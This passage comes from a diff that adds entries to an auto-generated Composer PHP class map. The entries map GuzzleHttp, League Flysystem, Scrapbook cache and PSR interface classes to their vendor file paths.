__DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FRejectionException.php',\n+        'GuzzleHttp\\\\Promise\\\\TaskQueue' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FTaskQueue.php',\n+        'GuzzleHttp\\\\Promise\\\\TaskQueueInterface' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FTaskQueueInterface.php',\n+        'GuzzleHttp\\\\Promise\\\\Utils' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FUtils.php',\n+        'GuzzleHttp\\\\Psr7\\\\AppendStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FAppendStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\BufferStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FBufferStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\CachingStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FCachingStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\DroppingStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FDroppingStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\Exception\\\\MalformedUriException' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FException\u002FMalformedUriException.php',\n+        'GuzzleHttp\\\\Psr7\\\\FnStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FFnStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\Header' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FHeader.php',\n+        'GuzzleHttp\\\\Psr7\\\\HttpFactory' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FHttpFactory.php',\n+        'GuzzleHttp\\\\Psr7\\\\InflateStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FInflateStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\LazyOpenStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FLazyOpenStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\LimitStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FLimitStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\Message' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMessage.php',\n+        'GuzzleHttp\\\\Psr7\\\\MessageTrait' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMessageTrait.php',\n+        'GuzzleHttp\\\\Psr7\\\\MimeType' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMimeType.php',\n+        'GuzzleHttp\\\\Psr7\\\\MultipartStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMultipartStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\NoSeekStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FNoSeekStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\PumpStream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FPumpStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\Query' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FQuery.php',\n+        'GuzzleHttp\\\\Psr7\\\\Request' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FRequest.php',\n+        'GuzzleHttp\\\\Psr7\\\\Response' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FResponse.php',\n+        'GuzzleHttp\\\\Psr7\\\\Rfc7230' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FRfc7230.php',\n+        'GuzzleHttp\\\\Psr7\\\\ServerRequest' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FServerRequest.php',\n+        'GuzzleHttp\\\\Psr7\\\\Stream' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStream.php',\n+        'GuzzleHttp\\\\Psr7\\\\StreamDecoratorTrait' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStreamDecoratorTrait.php',\n+        'GuzzleHttp\\\\Psr7\\\\StreamWrapper' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStreamWrapper.php',\n+        'GuzzleHttp\\\\Psr7\\\\UploadedFile' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUploadedFile.php',\n+        'GuzzleHttp\\\\Psr7\\\\Uri' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUri.php',\n+        'GuzzleHttp\\\\Psr7\\\\UriComparator' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriComparator.php',\n+        'GuzzleHttp\\\\Psr7\\\\UriNormalizer' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriNormalizer.php',\n+        'GuzzleHttp\\\\Psr7\\\\UriResolver' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriResolver.php',\n+        'GuzzleHttp\\\\Psr7\\\\Utils' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUtils.php',\n+        'GuzzleHttp\\\\RedirectMiddleware' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRedirectMiddleware.php',\n+        'GuzzleHttp\\\\RequestOptions' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRequestOptions.php',\n+        'GuzzleHttp\\\\RetryMiddleware' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRetryMiddleware.php',\n+        'GuzzleHttp\\\\TransferStats' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FTransferStats.php',\n+        'GuzzleHttp\\\\Utils' => __DIR__ . '\u002F..' . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FUtils.php',\n+        'JsonException' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php73\u002FResources\u002Fstubs\u002FJsonException.php',\n+        'League\\\\Flysystem\\\\Config' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FConfig.php',\n+        'League\\\\Flysystem\\\\CorruptedPathDetected' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FCorruptedPathDetected.php',\n+        'League\\\\Flysystem\\\\DirectoryAttributes' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FDirectoryAttributes.php',\n+        'League\\\\Flysystem\\\\DirectoryListing' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FDirectoryListing.php',\n+        'League\\\\Flysystem\\\\FileAttributes' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFileAttributes.php',\n+        'League\\\\Flysystem\\\\Filesystem' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystem.php',\n+        'League\\\\Flysystem\\\\FilesystemAdapter' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemAdapter.php',\n+        'League\\\\Flysystem\\\\FilesystemException' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemException.php',\n+        'League\\\\Flysystem\\\\FilesystemOperationFailed' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemOperationFailed.php',\n+        'League\\\\Flysystem\\\\FilesystemOperator' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemOperator.php',\n+        'League\\\\Flysystem\\\\FilesystemReader' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemReader.php',\n+        'League\\\\Flysystem\\\\FilesystemWriter' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemWriter.php',\n+        'League\\\\Flysystem\\\\InvalidStreamProvided' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FInvalidStreamProvided.php',\n+        'League\\\\Flysystem\\\\InvalidVisibilityProvided' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FInvalidVisibilityProvided.php',\n+        'League\\\\Flysystem\\\\Local\\\\LocalFilesystemAdapter' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FLocal\u002FLocalFilesystemAdapter.php',\n+        'League\\\\Flysystem\\\\MountManager' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FMountManager.php',\n+        'League\\\\Flysystem\\\\PathNormalizer' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathNormalizer.php',\n+        'League\\\\Flysystem\\\\PathPrefixer' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathPrefixer.php',\n+        'League\\\\Flysystem\\\\PathTraversalDetected' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathTraversalDetected.php',\n+        'League\\\\Flysystem\\\\PortableVisibilityGuard' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPortableVisibilityGuard.php',\n+        'League\\\\Flysystem\\\\ProxyArrayAccessToProperties' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FProxyArrayAccessToProperties.php',\n+        'League\\\\Flysystem\\\\StorageAttributes' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FStorageAttributes.php',\n+        'League\\\\Flysystem\\\\SymbolicLinkEncountered' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FSymbolicLinkEncountered.php',\n+        'League\\\\Flysystem\\\\UnableToCheckFileExistence' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCheckFileExistence.php',\n+        'League\\\\Flysystem\\\\UnableToCopyFile' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCopyFile.php',\n+        'League\\\\Flysystem\\\\UnableToCreateDirectory' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCreateDirectory.php',\n+        'League\\\\Flysystem\\\\UnableToDeleteDirectory' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToDeleteDirectory.php',\n+        'League\\\\Flysystem\\\\UnableToDeleteFile' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToDeleteFile.php',\n+        'League\\\\Flysystem\\\\UnableToMountFilesystem' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToMountFilesystem.php',\n+        'League\\\\Flysystem\\\\UnableToMoveFile' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToMoveFile.php',\n+        'League\\\\Flysystem\\\\UnableToReadFile' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToReadFile.php',\n+        'League\\\\Flysystem\\\\UnableToResolveFilesystemMount' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToResolveFilesystemMount.php',\n+        'League\\\\Flysystem\\\\UnableToRetrieveMetadata' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToRetrieveMetadata.php',\n+        'League\\\\Flysystem\\\\UnableToSetVisibility' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToSetVisibility.php',\n+        'League\\\\Flysystem\\\\UnableToWriteFile' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToWriteFile.php',\n+        'League\\\\Flysystem\\\\UnixVisibility\\\\PortableVisibilityConverter' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnixVisibility\u002FPortableVisibilityConverter.php',\n+        'League\\\\Flysystem\\\\UnixVisibility\\\\VisibilityConverter' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnixVisibility\u002FVisibilityConverter.php',\n+        'League\\\\Flysystem\\\\UnreadableFileEncountered' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnreadableFileEncountered.php',\n+        'League\\\\Flysystem\\\\Visibility' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FVisibility.php',\n+        'League\\\\Flysystem\\\\WhitespacePathNormalizer' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FWhitespacePathNormalizer.php',\n+        'League\\\\MimeTypeDetection\\\\EmptyExtensionToMimeTypeMap' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FEmptyExtensionToMimeTypeMap.php',\n+        'League\\\\MimeTypeDetection\\\\ExtensionLookup' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionLookup.php',\n+        'League\\\\MimeTypeDetection\\\\ExtensionMimeTypeDetector' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionMimeTypeDetector.php',\n+        'League\\\\MimeTypeDetection\\\\ExtensionToMimeTypeMap' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionToMimeTypeMap.php',\n+        'League\\\\MimeTypeDetection\\\\FinfoMimeTypeDetector' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FFinfoMimeTypeDetector.php',\n+        'League\\\\MimeTypeDetection\\\\GeneratedExtensionToMimeTypeMap' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FGeneratedExtensionToMimeTypeMap.php',\n+        'League\\\\MimeTypeDetection\\\\MimeTypeDetector' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FMimeTypeDetector.php',\n+        'League\\\\MimeTypeDetection\\\\OverridingExtensionToMimeTypeMap' => __DIR__ . '\u002F..' . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FOverridingExtensionToMimeTypeMap.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Apc' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FApc.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Apc' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FApc.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Couchbase' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FCouchbase.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Flysystem' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FFlysystem.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Memcached' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FMemcached.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\MemoryStore' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FMemoryStore.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Redis' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FRedis.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\SQL' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FSQL.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Utils\\\\PrefixKeys' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FUtils\u002FPrefixKeys.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Utils\\\\PrefixReset' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FUtils\u002FPrefixReset.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Couchbase' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCouchbase.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Flysystem' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FFlysystem.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Memcached' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMemcached.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\MemoryStore' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMemoryStore.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\MySQL' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMySQL.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\PostgreSQL' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FPostgreSQL.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Redis' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FRedis.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\SQL' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FSQL.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\SQLite' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FSQLite.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\BufferedStore' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FBufferedStore.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\TransactionalStore' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FTransactionalStore.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Buffer' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FBuffer.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\BufferCollection' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FBufferCollection.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Defer' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FDefer.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Transaction' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FTransaction.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\Exception' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FException.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\InvalidCollection' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FInvalidCollection.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\InvalidKey' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FInvalidKey.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\OperationFailed' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FOperationFailed.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\ServerUnhealthy' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FServerUnhealthy.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\UnbegunTransaction' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FUnbegunTransaction.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\UncommittedTransaction' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FUncommittedTransaction.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\KeyValueStore' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FKeyValueStore.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr16\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr16\u002FInvalidArgumentException.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr16\\\\SimpleCache' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr16\u002FSimpleCache.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FInvalidArgumentException.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Item' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FItem.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Pool' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FPool.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Repository' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FRepository.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Scale\\\\Shard' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FScale\u002FShard.php',\n+        'MatthiasMullie\\\\Scrapbook\\\\Scale\\\\StampedeProtector' => __DIR__ . '\u002F..' . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FScale\u002FStampedeProtector.php',\n+        'Normalizer' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002FResources\u002Fstubs\u002FNormalizer.php',\n+        'PhpToken' => __DIR__ . '\u002F..' . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FPhpToken.php',\n+        'Psr\\\\Cache\\\\CacheException' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheException.php',\n+        'Psr\\\\Cache\\\\CacheItemInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheItemInterface.php',\n+        'Psr\\\\Cache\\\\CacheItemPoolInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheItemPoolInterface.php',\n+        'Psr\\\\Cache\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcache\u002Fsrc\u002FInvalidArgumentException.php',\n+        'Psr\\\\Container\\\\ContainerExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcontainer\u002Fsrc\u002FContainerExceptionInterface.php',\n+        'Psr\\\\Container\\\\ContainerInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcontainer\u002Fsrc\u002FContainerInterface.php',\n+        'Psr\\\\Container\\\\NotFoundExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fcontainer\u002Fsrc\u002FNotFoundExceptionInterface.php',\n+        'Psr\\\\Http\\\\Client\\\\ClientExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FClientExceptionInterface.php',\n+        'Psr\\\\Http\\\\Client\\\\ClientInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FClientInterface.php',\n+        'Psr\\\\Http\\\\Client\\\\NetworkExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FNetworkExceptionInterface.php',\n+        'Psr\\\\Http\\\\Client\\\\RequestExceptionInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-client\u002Fsrc\u002FRequestExceptionInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\MessageInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FMessageInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\RequestFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FRequestFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\RequestInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FRequestInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\ResponseFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FResponseFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\ResponseInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FResponseInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\ServerRequestFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FServerRequestFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\ServerRequestInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FServerRequestInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\StreamFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FStreamFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\StreamInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FStreamInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\UploadedFileFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FUploadedFileFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\UploadedFileInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FUploadedFileInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\UriFactoryInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-factory\u002Fsrc\u002FUriFactoryInterface.php',\n+        'Psr\\\\Http\\\\Message\\\\UriInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fhttp-message\u002Fsrc\u002FUriInterface.php',\n+        'Psr\\\\Log\\\\AbstractLogger' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FAbstractLogger.php',\n+        'Psr\\\\Log\\\\InvalidArgumentException' => 